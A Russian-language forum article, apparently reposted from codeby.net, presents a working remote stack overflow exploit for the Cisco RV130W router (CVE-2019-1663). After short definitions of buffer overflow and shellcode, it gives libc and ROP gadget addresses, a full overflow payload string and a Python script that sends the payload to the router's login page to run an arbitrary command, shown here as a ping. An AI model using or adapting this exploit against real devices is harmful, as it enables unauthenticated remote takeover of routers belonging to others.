Cisco RV130W 1.0.3.44 Remote Stack Overflow - удалённое переполнение стека и выполнение команд на роутере

Cisco RV130W 1.0.3.44 Remote Stack Overflow - удалённое переполнение стека и выполнение команд на роутере

@webware

t.me/webware

Доброго времени суток, форумчане. Сегодня мы разберём свежий эксплойт для переполнения буфера Cisco rv130w версии 1.0.3.44.

Кто не знает что такое переполнение буфера:


переполнение буфера - явление, возникающее, когда компьютерная программа записывает данные за пределами выделенного в памяти буфера, и как правило, что записывается за пределами буфера называется - shellcode.


Что такое шеллкод:

шелл-код - код запуска оболочки, это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh'

Важно знать: один стек равен 4 байтам.


Как выглядит переполнение буфера:

А вот тут показывается, как выглядит удалённое переполнение буфера:

Стоит упомянуть, что чем меньше шеллкод, тем лучше, так как, если шеллкод больше буфера, то шеллкод не отработает. Например буфер=64 байта, а шеллкод=128 байт - это не правильно. Правильно будет вот так: буфер=64 байта, а шеллкод=34 байта.

Начинаем!


Ссылка на продукт: Cisco RV130W Wireless-N Multifunction VPN Router

Номер CVE: CVE-2019-1663


Уязвимые функции и их адрес в памяти.

0x357fc000 - libc base addr

0x35849144 - system() addr


0x0002eaf8 / 0x3582AAF8: pop {r4, r5, lr}; add sp, sp, #8; bx lr

0x0000c11c / 0x3580811C: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}

0x00041308 / 0x3583D308: mov r0, sp; blx r2


Эксплойт работает по такому типу:


gadget 1 system() мусор gadget 2 мусор мусор мусор мусор мусор gadget 3 текст

[0x3582AAF8][0x35849144][AAAA][0x3580811C][BBBB][CCCC][DDDD][EEEE][FFFF][0x3583D308][комманда]


payload:

UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35ping 192.168.1.100\x00"`

1. В этой части пэйлода:

UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY

Мы заполняем буфер мусором на 446 байтов.


2. Далее мы уже вводим адреса в памяти уязвимых функции + мусор на 24 байта:

`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35

3. Мы вводим любую команду, которая будет выполнена удалённо:

ping 192.168.1.100\x00"`

Нулевой байт тут для того, чтобы чтобы прекратилось копирование стека в буфер.


Так же у меня есть скрипт на python для переполнения буфера.

import requests

def main():
    command = "ping 192.168.1.100\x00" # нулевой байт тут  для того чтобы чтобы  прекратилось копирование стека в буфер.
    print ("Sending payload to execute [" + command + "]\n")
    rop = "\xf8\xaa\x82\x35"+"\x44\x91\x84\x35"+"AAAA"+"\x1c\x81\x80\x35"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF"+"\x08\xd3\x83\x35" # адреса в памяти уязвимых функций и мусорные байты.
    payload = ("Z" * 446) + rop + command # создание пэйлода
    target = "https://192.168.1.100:443/login.cgi"
    data = {'submit_button': 'login','submit_type': '','gui_action': '','default_login': '1','wait_time': '0','change_action': '','enc': '1','user': 'cisco','pwd': payload,'sel_lang': 'EN'}
    r = requests.post(target, payload=data) # отправление пэйлода
    print ("Payload sent to", target)
if __name__ == "__main__":
    main()

Спасибо за прочтение моей статьи. Надеюсь, что статья была для вас полезна.

P.S. Это моя вторая статья.

Источник codeby.net

Report Page